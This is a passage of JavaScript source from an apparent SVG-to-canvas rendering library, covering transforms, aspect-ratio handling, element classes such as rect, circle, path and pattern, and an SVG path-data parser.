var a = -3 * p0[i] + 9 * p1[i] - 9 * p2[i] + 3 * p3[i];
var c = 3 * p1[i] - 3 * p0[i];
if (a == 0) {
if (b == 0) continue;
var t = -c / b;
if (0 < t && t < 1) {
if (i == 0) this.addX(f(t));
if (i == 1) this.addY(f(t));
}
continue;
}
var b2ac = Math.pow(b, 2) - 4 * c * a;
if (b2ac < 0) continue;
var t1 = (-b + Math.sqrt(b2ac)) / (2 * a);
if (0 < t1 && t1 < 1) {
if (i == 0) this.addX(f(t1));
if (i == 1) this.addY(f(t1));
}
var t2 = (-b - Math.sqrt(b2ac)) / (2 * a);
if (0 < t2 && t2 < 1) {
if (i == 0) this.addX(f(t2));
if (i == 1) this.addY(f(t2));
}
}
}
this.isPointInBox = function(x, y) {
return (this.x1 <= x && x <= this.x2 && this.y1 <= y && y <= this.y2);
}
this.addPoint(x1, y1);
this.addPoint(x2, y2);
}
// transforms
svg.Transform = function(v) {
var that = this;
this.Type = {}
// translate
this.Type.translate = function(s) {
this.p = svg.CreatePoint(s);
this.apply = function(ctx) {
ctx.translate(this.p.x || 0.0, this.p.y || 0.0);
}
this.applyToPoint = function(p) {
p.applyTransform([1, 0, 0, 1, this.p.x || 0.0, this.p.y || 0.0]);
}
}
// rotate
this.Type.rotate = function(s) {
var a = svg.ToNumberArray(s);
this.angle = new svg.Property('angle', a[0]);
this.cx = a[1] || 0;
this.cy = a[2] || 0;
this.apply = function(ctx) {
ctx.translate(this.cx, this.cy);
ctx.rotate(this.angle.Angle.toRadians());
ctx.translate(-this.cx, -this.cy);
}
this.applyToPoint = function(p) {
var a = this.angle.Angle.toRadians();
p.applyTransform([1, 0, 0, 1, this.p.x || 0.0, this.p.y || 0.0]);
p.applyTransform([Math.cos(a), Math.sin(a), -Math.sin(a), Math.cos(a), 0, 0]);
p.applyTransform([1, 0, 0, 1, -this.p.x || 0.0, -this.p.y || 0.0]);
}
}
this.Type.scale = function(s) {
this.p = svg.CreatePoint(s);
this.apply = function(ctx) {
ctx.scale(this.p.x || 1.0, this.p.y || this.p.x || 1.0);
}
this.applyToPoint = function(p) {
p.applyTransform([this.p.x || 0.0, 0, 0, this.p.y || 0.0, 0, 0]);
}
}
this.Type.matrix = function(s) {
this.m = svg.ToNumberArray(s);
this.apply = function(ctx) {
ctx.transform(this.m[0], this.m[1], this.m[2], this.m[3], this.m[4], this.m[5]);
}
this.applyToPoint = function(p) {
p.applyTransform(this.m);
}
}
this.Type.SkewBase = function(s) {
this.base = that.Type.matrix;
this.base(s);
this.angle = new svg.Property('angle', s);
}
this.Type.SkewBase.prototype = new this.Type.matrix;
this.Type.skewX = function(s) {
this.base = that.Type.SkewBase;
this.base(s);
this.m = [1, 0, Math.tan(this.angle.Angle.toRadians()), 1, 0, 0];
}
this.Type.skewX.prototype = new this.Type.SkewBase;
this.Type.skewY = function(s) {
this.base = that.Type.SkewBase;
this.base(s);
this.m = [1, Math.tan(this.angle.Angle.toRadians()), 0, 1, 0, 0];
}
this.Type.skewY.prototype = new this.Type.SkewBase;
this.transforms = [];
this.apply = function(ctx) {
for (var i=0; i<this.transforms.length; i++) {
this.transforms[i].apply(ctx);
}
}
this.applyToPoint = function(p) {
for (var i=0; i<this.transforms.length; i++) {
this.transforms[i].applyToPoint(p);
}
}
var data = svg.trim(svg.compressSpaces(v)).split(/\s(?=[a-z])/);
for (var i=0; i<data.length; i++) {
var type = data[i].split('(')[0];
var s = data[i].split('(')[1].replace(')','');
var transform = new this.Type[type](s);
this.transforms.push(transform);
}
}
// aspect ratio
svg.AspectRatio = function(ctx, aspectRatio, width, desiredWidth, height, desiredHeight, minX, minY, refX, refY) {
// aspect ratio - http://www.w3.org/TR/SVG/coords.html#PreserveAspectRatioAttribute
aspectRatio = svg.compressSpaces(aspectRatio);
aspectRatio = aspectRatio.replace(/^defer\s/,''); // ignore defer
var align = aspectRatio.split(' ')[0] || 'xMidYMid';
var meetOrSlice = aspectRatio.split(' ')[1] || 'meet';
// calculate scale
var scaleX = width / desiredWidth;
var scaleY = height / desiredHeight;
var scaleMin = Math.min(scaleX, scaleY);
var scaleMax = Math.max(scaleX, scaleY);
if (meetOrSlice == 'meet') { desiredWidth *= scaleMin; desiredHeight *= scaleMin; }
if (meetOrSlice == 'slice') { desiredWidth *= scaleMax; desiredHeight *= scaleMax; }
refX = new svg.Property('refX', refX);
refY = new svg.Property('refY', refY);
if (refX.hasValue() && refY.hasValue()) {
ctx.translate(-scaleMin * refX.Length.toPixels('x'), -scaleMin * refY.Length.toPixels('y'));
}
else {
// align
if (align.match(/^xMid/) && ((meetOrSlice == 'meet' && scaleMin == scaleY) || (meetOrSlice == 'slice' && scaleMax == scaleY))) ctx.translate(width / 2.0 - desiredWidth / 2.0, 0);
if (align.match(/YMid$/) && ((meetOrSlice == 'meet' && scaleMin == scaleX) || (meetOrSlice == 'slice' && scaleMax == scaleX))) ctx.translate(0, height / 2.0 - desiredHeight / 2.0);
if (align.match(/^xMax/) && ((meetOrSlice == 'meet' && scaleMin == scaleY) || (meetOrSlice == 'slice' && scaleMax == scaleY))) ctx.translate(width - desiredWidth, 0);
if (align.match(/YMax$/) && ((meetOrSlice == 'meet' && scaleMin == scaleX) || (meetOrSlice == 'slice' && scaleMax == scaleX))) ctx.translate(0, height - desiredHeight);
}
// scale
if (align == 'none') ctx.scale(scaleX, scaleY);
else if (meetOrSlice == 'meet') ctx.scale(scaleMin, scaleMin);
else if (meetOrSlice == 'slice') ctx.scale(scaleMax, scaleMax);
// translate
ctx.translate(minX == null ? 0 : -minX, minY == null ? 0 : -minY);
}
// elements
svg.Element = {}
svg.Element.ElementBase = function(node) {
this.attributes = {};
this.styles = {};
this.children = [];
// get or create attribute
this.attribute = function(name, createIfNotExists) {
var a = this.attributes[name];
if (a != null) return a;
a = new svg.Property(name, '');
if (createIfNotExists == true) this.attributes[name] = a;
return a;
}
// get or create style, crawls up node tree
this.style = function(name, createIfNotExists) {
var s = this.styles[name];
if (s != null) return s;
var a = this.attribute(name);
if (a != null && a.hasValue()) {
return a;
}
var p = this.parent;
if (p != null) {
var ps = p.style(name);
if (ps != null && ps.hasValue()) {
return ps;
}
}
s = new svg.Property(name, '');
if (createIfNotExists == true) this.styles[name] = s;
return s;
}
// base render
this.render = function(ctx) {
// don't render display=none
if (this.style('display').value == 'none') return;
// don't render visibility=hidden
if (this.attribute('visibility').value == 'hidden') return;
ctx.save();
this.setContext(ctx);
// mask
if (this.attribute('mask').hasValue()) {
var mask = this.attribute('mask').Definition.getDefinition();
if (mask != null) mask.apply(ctx, this);
}
else if (this.style('filter').hasValue()) {
var filter = this.style('filter').Definition.getDefinition();
if (filter != null) filter.apply(ctx, this);
}
else this.renderChildren(ctx);
this.clearContext(ctx);
ctx.restore();
}
// base set context
this.setContext = function(ctx) {
// OVERRIDE ME!
}
// base clear context
this.clearContext = function(ctx) {
// OVERRIDE ME!
}
// base render children
this.renderChildren = function(ctx) {
for (var i=0; i<this.children.length; i++) {
this.children[i].render(ctx);
}
}
this.addChild = function(childNode, create) {
var child = childNode;
if (create) child = svg.CreateElement(childNode);
child.parent = this;
this.children.push(child);
}
if (node != null && node.nodeType == 1) { //ELEMENT_NODE
// add children
for (var i=0; i<node.childNodes.length; i++) {
var childNode = node.childNodes[i];
if (childNode.nodeType == 1) this.addChild(childNode, true); //ELEMENT_NODE
}
// add attributes
for (var i=0; i<node.attributes.length; i++) {
var attribute = node.attributes[i];
this.attributes[attribute.nodeName] = new svg.Property(attribute.nodeName, attribute.nodeValue);
}
// add tag styles
var styles = svg.Styles[node.nodeName];
if (styles != null) {
for (var name in styles) {
this.styles[name] = styles[name];
}
}
// add class styles
if (this.attribute('class').hasValue()) {
var classes = svg.compressSpaces(this.attribute('class').value).split(' ');
for (var j=0; j<classes.length; j++) {
styles = svg.Styles['.'+classes[j]];
if (styles != null) {
for (var name in styles) {
this.styles[name] = styles[name];
}
}
styles = svg.Styles[node.nodeName+'.'+classes[j]];
if (styles != null) {
for (var name in styles) {
this.styles[name] = styles[name];
}
}
}
}
// add inline styles
if (this.attribute('style').hasValue()) {
var styles = this.attribute('style').value.split(';');
for (var i=0; i<styles.length; i++) {
if (svg.trim(styles[i]) != '') {
var style = styles[i].split(':');
var name = svg.trim(style[0]);
var value = svg.trim(style[1]);
this.styles[name] = new svg.Property(name, value);
}
}
}
// add id
if (this.attribute('id').hasValue()) {
if (svg.Definitions[this.attribute('id').value] == null) {
svg.Definitions[this.attribute('id').value] = this;
}
}
}
}
svg.Element.RenderedElementBase = function(node) {
this.base = svg.Element.ElementBase;
this.base(node);
this.setContext = function(ctx) {
// fill
if (this.style('fill').Definition.isUrl()) {
var fs = this.style('fill').Definition.getFillStyle(this);
if (fs != null) ctx.fillStyle = fs;
}
else if (this.style('fill').hasValue()) {
var fillStyle = this.style('fill');
if (this.style('fill-opacity').hasValue()) fillStyle = fillStyle.Color.addOpacity(this.style('fill-opacity').value);
ctx.fillStyle = (fillStyle.value == 'none' ? 'rgba(0,0,0,0)' : fillStyle.value);
}
// stroke
if (this.style('stroke').Definition.isUrl()) {
var fs = this.style('stroke').Definition.getFillStyle(this);
if (fs != null) ctx.strokeStyle = fs;
}
else if (this.style('stroke').hasValue()) {
var strokeStyle = this.style('stroke');
if (this.style('stroke-opacity').hasValue()) strokeStyle = strokeStyle.Color.addOpacity(this.style('stroke-opacity').value);
ctx.strokeStyle = (strokeStyle.value == 'none' ? 'rgba(0,0,0,0)' : strokeStyle.value);
}
if (this.style('stroke-width').hasValue()) ctx.lineWidth = this.style('stroke-width').Length.toPixels();
if (this.style('stroke-linecap').hasValue()) ctx.lineCap = this.style('stroke-linecap').value;
if (this.style('stroke-linejoin').hasValue()) ctx.lineJoin = this.style('stroke-linejoin').value;
if (this.style('stroke-miterlimit').hasValue()) ctx.miterLimit = this.style('stroke-miterlimit').value;
// font
if (typeof(ctx.font) != 'undefined') {
ctx.font = svg.Font.CreateFont(
this.style('font-style').value,
this.style('font-variant').value,
this.style('font-weight').value,
this.style('font-size').hasValue() ? this.style('font-size').Length.toPixels() + 'px' : '',
this.style('font-family').value).toString();
}
// transform
if (this.attribute('transform').hasValue()) {
var transform = new svg.Transform(this.attribute('transform').value);
transform.apply(ctx);
}
// clip
if (this.attribute('clip-path').hasValue()) {
var clip = this.attribute('clip-path').Definition.getDefinition();
if (clip != null) clip.apply(ctx);
}
// opacity
if (this.style('opacity').hasValue()) {
ctx.globalAlpha = this.style('opacity').numValue();
}
}
}
svg.Element.RenderedElementBase.prototype = new svg.Element.ElementBase;
svg.Element.PathElementBase = function(node) {
this.base = svg.Element.RenderedElementBase;
this.base(node);
this.path = function(ctx) {
if (ctx != null) ctx.beginPath();
return new svg.BoundingBox();
}
this.renderChildren = function(ctx) {
this.path(ctx);
svg.Mouse.checkPath(this, ctx);
if (ctx.fillStyle != '') ctx.fill();
if (ctx.strokeStyle != '') ctx.stroke();
var markers = this.getMarkers();
if (markers != null) {
if (this.style('marker-start').Definition.isUrl()) {
var marker = this.style('marker-start').Definition.getDefinition();
marker.render(ctx, markers[0][0], markers[0][1]);
}
if (this.style('marker-mid').Definition.isUrl()) {
var marker = this.style('marker-mid').Definition.getDefinition();
for (var i=1;i<markers.length-1;i++) {
marker.render(ctx, markers[i][0], markers[i][1]);
}
}
if (this.style('marker-end').Definition.isUrl()) {
var marker = this.style('marker-end').Definition.getDefinition();
marker.render(ctx, markers[markers.length-1][0], markers[markers.length-1][1]);
}
}
}
this.getBoundingBox = function() {
return this.path();
}
this.getMarkers = function() {
return null;
}
}
svg.Element.PathElementBase.prototype = new svg.Element.RenderedElementBase;
// svg element
svg.Element.svg = function(node) {
this.base = svg.Element.RenderedElementBase;
this.base(node);
this.baseClearContext = this.clearContext;
this.clearContext = function(ctx) {
this.baseClearContext(ctx);
svg.ViewPort.RemoveCurrent();
}
this.baseSetContext = this.setContext;
this.setContext = function(ctx) {
// initial values
ctx.strokeStyle = 'rgba(0,0,0,0)';
ctx.lineCap = 'butt';
ctx.lineJoin = 'miter';
ctx.miterLimit = 4;
this.baseSetContext(ctx);
// create new view port
if (this.attribute('x').hasValue() && this.attribute('y').hasValue()) {
ctx.translate(this.attribute('x').Length.toPixels('x'), this.attribute('y').Length.toPixels('y'));
}
var width = svg.ViewPort.width();
var height = svg.ViewPort.height();
if (typeof(this.root) == 'undefined' && this.attribute('width').hasValue() && this.attribute('height').hasValue()) {
width = this.attribute('width').Length.toPixels('x');
height = this.attribute('height').Length.toPixels('y');
var x = 0;
var y = 0;
if (this.attribute('refX').hasValue() && this.attribute('refY').hasValue()) {
x = -this.attribute('refX').Length.toPixels('x');
y = -this.attribute('refY').Length.toPixels('y');
}
ctx.beginPath();
ctx.moveTo(x, y);
ctx.lineTo(width, y);
ctx.lineTo(width, height);
ctx.lineTo(x, height);
ctx.closePath();
ctx.clip();
}
svg.ViewPort.SetCurrent(width, height);
// viewbox
if (this.attribute('viewBox').hasValue()) {
var viewBox = svg.ToNumberArray(this.attribute('viewBox').value);
var minX = viewBox[0];
var minY = viewBox[1];
width = viewBox[2];
height = viewBox[3];
svg.AspectRatio(ctx,
this.attribute('preserveAspectRatio').value,
svg.ViewPort.width(),
width,
svg.ViewPort.height(),
height,
minX,
minY,
this.attribute('refX').value,
this.attribute('refY').value);
svg.ViewPort.RemoveCurrent();
svg.ViewPort.SetCurrent(viewBox[2], viewBox[3]);
}
}
}
svg.Element.svg.prototype = new svg.Element.RenderedElementBase;
// rect element
svg.Element.rect = function(node) {
this.base = svg.Element.PathElementBase;
this.base(node);
this.path = function(ctx) {
var x = this.attribute('x').Length.toPixels('x');
var y = this.attribute('y').Length.toPixels('y');
var width = this.attribute('width').Length.toPixels('x');
var height = this.attribute('height').Length.toPixels('y');
var rx = this.attribute('rx').Length.toPixels('x');
var ry = this.attribute('ry').Length.toPixels('y');
if (this.attribute('rx').hasValue() && !this.attribute('ry').hasValue()) ry = rx;
if (this.attribute('ry').hasValue() && !this.attribute('rx').hasValue()) rx = ry;
if (ctx != null) {
ctx.beginPath();
ctx.moveTo(x + rx, y);
ctx.lineTo(x + width - rx, y);
ctx.quadraticCurveTo(x + width, y, x + width, y + ry)
ctx.lineTo(x + width, y + height - ry);
ctx.quadraticCurveTo(x + width, y + height, x + width - rx, y + height)
ctx.lineTo(x + rx, y + height);
ctx.quadraticCurveTo(x, y + height, x, y + height - ry)
ctx.lineTo(x, y + ry);
ctx.quadraticCurveTo(x, y, x + rx, y)
ctx.closePath();
}
return new svg.BoundingBox(x, y, x + width, y + height);
}
}
svg.Element.rect.prototype = new svg.Element.PathElementBase;
// circle element
svg.Element.circle = function(node) {
this.base = svg.Element.PathElementBase;
this.base(node);
this.path = function(ctx) {
var cx = this.attribute('cx').Length.toPixels('x');
var cy = this.attribute('cy').Length.toPixels('y');
var r = this.attribute('r').Length.toPixels();
if (ctx != null) {
ctx.beginPath();
ctx.arc(cx, cy, r, 0, Math.PI * 2, true);
ctx.closePath();
}
return new svg.BoundingBox(cx - r, cy - r, cx + r, cy + r);
}
}
svg.Element.circle.prototype = new svg.Element.PathElementBase;
// ellipse element
svg.Element.ellipse = function(node) {
this.base = svg.Element.PathElementBase;
this.base(node);
this.path = function(ctx) {
var KAPPA = 4 * ((Math.sqrt(2) - 1) / 3);
var rx = this.attribute('rx').Length.toPixels('x');
var ry = this.attribute('ry').Length.toPixels('y');
var cx = this.attribute('cx').Length.toPixels('x');
var cy = this.attribute('cy').Length.toPixels('y');
if (ctx != null) {
ctx.beginPath();
ctx.moveTo(cx, cy - ry);
ctx.bezierCurveTo(cx + (KAPPA * rx), cy - ry, cx + rx, cy - (KAPPA * ry), cx + rx, cy);
ctx.bezierCurveTo(cx + rx, cy + (KAPPA * ry), cx + (KAPPA * rx), cy + ry, cx, cy + ry);
ctx.bezierCurveTo(cx - (KAPPA * rx), cy + ry, cx - rx, cy + (KAPPA * ry), cx - rx, cy);
ctx.bezierCurveTo(cx - rx, cy - (KAPPA * ry), cx - (KAPPA * rx), cy - ry, cx, cy - ry);
ctx.closePath();
}
return new svg.BoundingBox(cx - rx, cy - ry, cx + rx, cy + ry);
}
}
svg.Element.ellipse.prototype = new svg.Element.PathElementBase;
// line element
svg.Element.line = function(node) {
this.base = svg.Element.PathElementBase;
this.base(node);
this.getPoints = function() {
return [
new svg.Point(this.attribute('x1').Length.toPixels('x'), this.attribute('y1').Length.toPixels('y')),
new svg.Point(this.attribute('x2').Length.toPixels('x'), this.attribute('y2').Length.toPixels('y'))];
}
this.path = function(ctx) {
var points = this.getPoints();
if (ctx != null) {
ctx.beginPath();
ctx.moveTo(points[0].x, points[0].y);
ctx.lineTo(points[1].x, points[1].y);
}
return new svg.BoundingBox(points[0].x, points[0].y, points[1].x, points[1].y);
}
this.getMarkers = function() {
var points = this.getPoints();
var a = points[0].angleTo(points[1]);
return [[points[0], a], [points[1], a]];
}
}
svg.Element.line.prototype = new svg.Element.PathElementBase;
// polyline element
svg.Element.polyline = function(node) {
this.base = svg.Element.PathElementBase;
this.base(node);
this.points = svg.CreatePath(this.attribute('points').value);
this.path = function(ctx) {
var bb = new svg.BoundingBox(this.points[0].x, this.points[0].y);
if (ctx != null) {
ctx.beginPath();
ctx.moveTo(this.points[0].x, this.points[0].y);
}
for (var i=1; i<this.points.length; i++) {
bb.addPoint(this.points[i].x, this.points[i].y);
if (ctx != null) ctx.lineTo(this.points[i].x, this.points[i].y);
}
return bb;
}
this.getMarkers = function() {
var markers = [];
for (var i=0; i<this.points.length - 1; i++) {
markers.push([this.points[i], this.points[i].angleTo(this.points[i+1])]);
}
markers.push([this.points[this.points.length-1], markers[markers.length-1][1]]);
return markers;
}
}
svg.Element.polyline.prototype = new svg.Element.PathElementBase;
// polygon element
svg.Element.polygon = function(node) {
this.base = svg.Element.polyline;
this.base(node);
this.basePath = this.path;
this.path = function(ctx) {
var bb = this.basePath(ctx);
if (ctx != null) {
ctx.lineTo(this.points[0].x, this.points[0].y);
ctx.closePath();
}
return bb;
}
}
svg.Element.polygon.prototype = new svg.Element.polyline;
// path element
svg.Element.path = function(node) {
this.base = svg.Element.PathElementBase;
this.base(node);
var d = this.attribute('d').value;
// TODO: convert to real lexer based on http://www.w3.org/TR/SVG11/paths.html#PathDataBNF
d = d.replace(/,/gm,' '); // get rid of all commas
d = d.replace(/([MmZzLlHhVvCcSsQqTtAa])([MmZzLlHhVvCcSsQqTtAa])/gm,'$1 $2'); // separate commands from commands
d = d.replace(/([MmZzLlHhVvCcSsQqTtAa])([MmZzLlHhVvCcSsQqTtAa])/gm,'$1 $2'); // separate commands from commands
d = d.replace(/([MmZzLlHhVvCcSsQqTtAa])([^\s])/gm,'$1 $2'); // separate commands from points
d = d.replace(/([^\s])([MmZzLlHhVvCcSsQqTtAa])/gm,'$1 $2'); // separate commands from points
d = d.replace(/([0-9])([+\-])/gm,'$1 $2'); // separate digits when no comma
d = d.replace(/(\.[0-9]*)(\.)/gm,'$1 $2'); // separate digits when no comma
d = d.replace(/([Aa](\s+[0-9]+){3})\s+([01])\s*([01])/gm,'$1 $3 $4 '); // shorthand elliptical arc path syntax
d = svg.compressSpaces(d); // compress multiple spaces
d = svg.trim(d);
this.PathParser = new (function(d) {
this.tokens = d.split(' ');
this.reset = function() {
this.i = -1;
this.command = '';
this.previousCommand = '';
this.start = new svg.Point(0, 0);
this.control = new svg.Point(0, 0);
this.current = new svg.Point(0, 0);
this.points = [];
this.angles = [];
}
this.isEnd = function() {
return this.i >= this.tokens.length - 1;
}
this.isCommandOrEnd = function() {
if (this.isEnd()) return true;
return this.tokens[this.i + 1].match(/^[A-Za-z]$/) != null;
}
this.isRelativeCommand = function() {
return this.command == this.command.toLowerCase();
}
this.getToken = function() {
this.i = this.i + 1;
return this.tokens[this.i];
}
this.getScalar = function() {
return parseFloat(this.getToken());
}
this.nextCommand = function() {
this.previousCommand = this.command;
this.command = this.getToken();
}
this.getPoint = function() {
var p = new svg.Point(this.getScalar(), this.getScalar());
return this.makeAbsolute(p);
}
this.getAsControlPoint = function() {
var p = this.getPoint();
this.control = p;
return p;
}
this.getAsCurrentPoint = function() {
var p = this.getPoint();
this.current = p;
return p;
}
this.getReflectedControlPoint = function() {
if (this.previousCommand.toLowerCase() != 'c' && this.previousCommand.toLowerCase() != 's') {
return this.current;
}
// reflect point
var p = new svg.Point(2 * this.current.x - this.control.x, 2 * this.current.y - this.control.y);
return p;
}
this.makeAbsolute = function(p) {
if (this.isRelativeCommand()) {
p.x = this.current.x + p.x;
p.y = this.current.y + p.y;
}
return p;
}
this.addMarker = function(p, from, priorTo) {
// if the last angle isn't filled in because we didn't have this point yet ...
if (priorTo != null && this.angles.length > 0 && this.angles[this.angles.length-1] == null) {
this.angles[this.angles.length-1] = this.points[this.points.length-1].angleTo(priorTo);
}
this.addMarkerAngle(p, from == null ? null : from.angleTo(p));
}
this.addMarkerAngle = function(p, a) {
this.points.push(p);
this.angles.push(a);
}
this.getMarkerPoints = function() { return this.points; }
this.getMarkerAngles = function() {
for (var i=0; i<this.angles.length; i++) {
if (this.angles[i] == null) {
for (var j=i+1; j<this.angles.length; j++) {
if (this.angles[j] != null) {
this.angles[i] = this.angles[j];
break;
}
}
}
}
return this.angles;
}
})(d);
this.path = function(ctx) {
var pp = this.PathParser;
pp.reset();
var bb = new svg.BoundingBox();
if (ctx != null) ctx.beginPath();
while (!pp.isEnd()) {
pp.nextCommand();
switch (pp.command.toUpperCase()) {
case 'M':
var p = pp.getAsCurrentPoint();
pp.addMarker(p);
bb.addPoint(p.x, p.y);
if (ctx != null) ctx.moveTo(p.x, p.y);
pp.start = pp.current;
while (!pp.isCommandOrEnd()) {
var p = pp.getAsCurrentPoint();
pp.addMarker(p, pp.start);
bb.addPoint(p.x, p.y);
if (ctx != null) ctx.lineTo(p.x, p.y);
}
break;
case 'L':
while (!pp.isCommandOrEnd()) {
var c = pp.current;
var p = pp.getAsCurrentPoint();
pp.addMarker(p, c);
bb.addPoint(p.x, p.y);
if (ctx != null) ctx.lineTo(p.x, p.y);
}
break;
case 'H':
while (!pp.isCommandOrEnd()) {
var newP = new svg.Point((pp.isRelativeCommand() ? pp.current.x : 0) + pp.getScalar(), pp.current.y);
pp.addMarker(newP, pp.current);
pp.current = newP;
bb.addPoint(pp.current.x, pp.current.y);
if (ctx != null) ctx.lineTo(pp.current.x, pp.current.y);
}
break;
case 'V':
while (!pp.isCommandOrEnd()) {
var newP = new svg.Point(pp.current.x, (pp.isRelativeCommand() ? pp.current.y : 0) + pp.getScalar());
pp.addMarker(newP, pp.current);
pp.current = newP;
bb.addPoint(pp.current.x, pp.current.y);
if (ctx != null) ctx.lineTo(pp.current.x, pp.current.y);
}
break;
case 'C':
while (!pp.isCommandOrEnd()) {
var curr = pp.current;
var p1 = pp.getPoint();
var cntrl = pp.getAsControlPoint();
var cp = pp.getAsCurrentPoint();
pp.addMarker(cp, cntrl, p1);
bb.addBezierCurve(curr.x, curr.y, p1.x, p1.y, cntrl.x, cntrl.y, cp.x, cp.y);
if (ctx != null) ctx.bezierCurveTo(p1.x, p1.y, cntrl.x, cntrl.y, cp.x, cp.y);
}
break;
case 'S':
while (!pp.isCommandOrEnd()) {
var curr = pp.current;
var p1 = pp.getReflectedControlPoint();
var cntrl = pp.getAsControlPoint();
var cp = pp.getAsCurrentPoint();
pp.addMarker(cp, cntrl, p1);
bb.addBezierCurve(curr.x, curr.y, p1.x, p1.y, cntrl.x, cntrl.y, cp.x, cp.y);
if (ctx != null) ctx.bezierCurveTo(p1.x, p1.y, cntrl.x, cntrl.y, cp.x, cp.y);
}
break;
case 'Q':
while (!pp.isCommandOrEnd()) {
var curr = pp.current;
var cntrl = pp.getAsControlPoint();
var cp = pp.getAsCurrentPoint();
pp.addMarker(cp, cntrl, cntrl);
bb.addQuadraticCurve(curr.x, curr.y, cntrl.x, cntrl.y, cp.x, cp.y);
if (ctx != null) ctx.quadraticCurveTo(cntrl.x, cntrl.y, cp.x, cp.y);
}
break;
case 'T':
while (!pp.isCommandOrEnd()) {
var curr = pp.current;
var cntrl = pp.getReflectedControlPoint();
pp.control = cntrl;
var cp = pp.getAsCurrentPoint();
pp.addMarker(cp, cntrl, cntrl);
bb.addQuadraticCurve(curr.x, curr.y, cntrl.x, cntrl.y, cp.x, cp.y);
if (ctx != null) ctx.quadraticCurveTo(cntrl.x, cntrl.y, cp.x, cp.y);
}
break;
case 'A':
while (!pp.isCommandOrEnd()) {
var curr = pp.current;
var rx = pp.getScalar();
var ry = pp.getScalar();
var xAxisRotation = pp.getScalar() * (Math.PI / 180.0);
var largeArcFlag = pp.getScalar();
var sweepFlag = pp.getScalar();
var cp = pp.getAsCurrentPoint();
// Conversion from endpoint to center parameterization
// http://www.w3.org/TR/SVG11/implnote.html#ArcImplementationNotes
// x1', y1'
var currp = new svg.Point(
Math.cos(xAxisRotation) * (curr.x - cp.x) / 2.0 + Math.sin(xAxisRotation) * (curr.y - cp.y) / 2.0,
-Math.sin(xAxisRotation) * (curr.x - cp.x) / 2.0 + Math.cos(xAxisRotation) * (curr.y - cp.y) / 2.0
);
// adjust radii
var l = Math.pow(currp.x,2)/Math.pow(rx,2)+Math.pow(currp.y,2)/Math.pow(ry,2);
if (l > 1) {
rx *= Math.sqrt(l);
ry *= Math.sqrt(l);
}
// cx', cy'
var s = (largeArcFlag == sweepFlag ? -1 : 1) * Math.sqrt(
((Math.pow(rx,2)*Math.pow(ry,2))-(Math.pow(rx,2)*Math.pow(currp.y,2))-(Math.pow(ry,2)*Math.pow(currp.x,2))) /
(Math.pow(rx,2)*Math.pow(currp.y,2)+Math.pow(ry,2)*Math.pow(currp.x,2))
);
if (isNaN(s)) s = 0;
var cpp = new svg.Point(s * rx * currp.y / ry, s * -ry * currp.x / rx);
// cx, cy
var centp = new svg.Point(
(curr.x + cp.x) / 2.0 + Math.cos(xAxisRotation) * cpp.x - Math.sin(xAxisRotation) * cpp.y,
(curr.y + cp.y) / 2.0 + Math.sin(xAxisRotation) * cpp.x + Math.cos(xAxisRotation) * cpp.y
);
// vector magnitude
var m = function(v) { return Math.sqrt(Math.pow(v[0],2) + Math.pow(v[1],2)); }
// ratio between two vectors
var r = function(u, v) { return (u[0]*v[0]+u[1]*v[1]) / (m(u)*m(v)) }
// angle between two vectors
var a = function(u, v) { return (u[0]*v[1] < u[1]*v[0] ? -1 : 1) * Math.acos(r(u,v)); }
// initial angle
var a1 = a([1,0], [(currp.x-cpp.x)/rx,(currp.y-cpp.y)/ry]);
// angle delta
var u = [(currp.x-cpp.x)/rx,(currp.y-cpp.y)/ry];
var v = [(-currp.x-cpp.x)/rx,(-currp.y-cpp.y)/ry];
var ad = a(u, v);
if (r(u,v) <= -1) ad = Math.PI;
if (r(u,v) >= 1) ad = 0;
if (sweepFlag == 0 && ad > 0) ad = ad - 2 * Math.PI;
if (sweepFlag == 1 && ad < 0) ad = ad + 2 * Math.PI;
// for markers
var halfWay = new svg.Point(
centp.x - rx * Math.cos((a1 + ad) / 2),
centp.y - ry * Math.sin((a1 + ad) / 2)
);
pp.addMarkerAngle(halfWay, (a1 + ad) / 2 + (sweepFlag == 0 ? 1 : -1) * Math.PI / 2);
pp.addMarkerAngle(cp, ad + (sweepFlag == 0 ? 1 : -1) * Math.PI / 2);
bb.addPoint(cp.x, cp.y); // TODO: this is too naive, make it better
if (ctx != null) {
var r = rx > ry ? rx : ry;
var sx = rx > ry ? 1 : rx / ry;
var sy = rx > ry ? ry / rx : 1;
ctx.translate(centp.x, centp.y);
ctx.rotate(xAxisRotation);
ctx.scale(sx, sy);
ctx.arc(0, 0, r, a1, a1 + ad, 1 - sweepFlag);
ctx.scale(1/sx, 1/sy);
ctx.rotate(-xAxisRotation);
ctx.translate(-centp.x, -centp.y);
}
}
break;
case 'Z':
if (ctx != null) ctx.closePath();
pp.current = pp.start;
}
}
return bb;
}
this.getMarkers = function() {
var points = this.PathParser.getMarkerPoints();
var angles = this.PathParser.getMarkerAngles();
var markers = [];
for (var i=0; i<points.length; i++) {
markers.push([points[i], angles[i]]);
}
return markers;
}
}
svg.Element.path.prototype = new svg.Element.PathElementBase;
// pattern element
svg.Element.pattern = function(node) {
this.base = svg.Element.ElementBase;
this.base(node);
this.createPattern = function(ctx, element) {
// render me using a temporary svg element
var tempSvg = new svg.Element.svg();
tempSvg.attributes['viewBox'] = new svg.Property('viewBox', this.attribute('viewBox').value);
tempSvg.attributes['x'] = new svg.Property('x', this.attribute('x').value);
tempSvg.attributes['y'] = new svg.Property('y', this.attribute('y').value);
tempSvg.attributes['width'] = new svg.Property('width', this.attribute('width').value);
tempSvg.attributes['height'] = new svg.Property('height', this.attribute('height').value);
tempSvg.children = this.children;
var c = document.createElement('canvas');
c.width = this.attribute('width').Length.toPixels('x');
c.height = this.attribute('height').Length.toPixels('y');
tempSvg.render(c.getContext('2d'));
return ctx.createPattern(c, 'repeat');
}
}
svg.Element.pattern.prototype = new svg.Element.ElementBase;
// marker element
svg.Element.marker = function(node) {
this.base = svg.Element.ElementBase;
this.base(node);
this.baseRender = this.render;
this.render = function(ctx, point, angle) {
ctx.translate(point.x, point.y);
if (this.attribute('orient').valueOrDefault('auto') == 'auto') ctx.rotate(angle);
if (this.attribute('markerUnits').valueOrDefault('strokeWidth') == 'strokeWidth') ctx.scale(ctx.lineWidth, ctx.lineWidth);
ctx.save();
// render me using a temporary svg element
var tempSvg = new svg.Element.svg();
tempSvg.attributes['viewBox'] = new svg.Property('viewBox', this.attribute('viewBox').value);
tempSvg.attributes['refX'] = new svg.Property('refX', this.attribute('refX').value);
tempSvg.attributes['refY'] = new svg.Property('refY', this.attribute('refY').value);
tempSvg.attributes['width'] = new svg.Property('width', this.attribute('markerWidth').value);
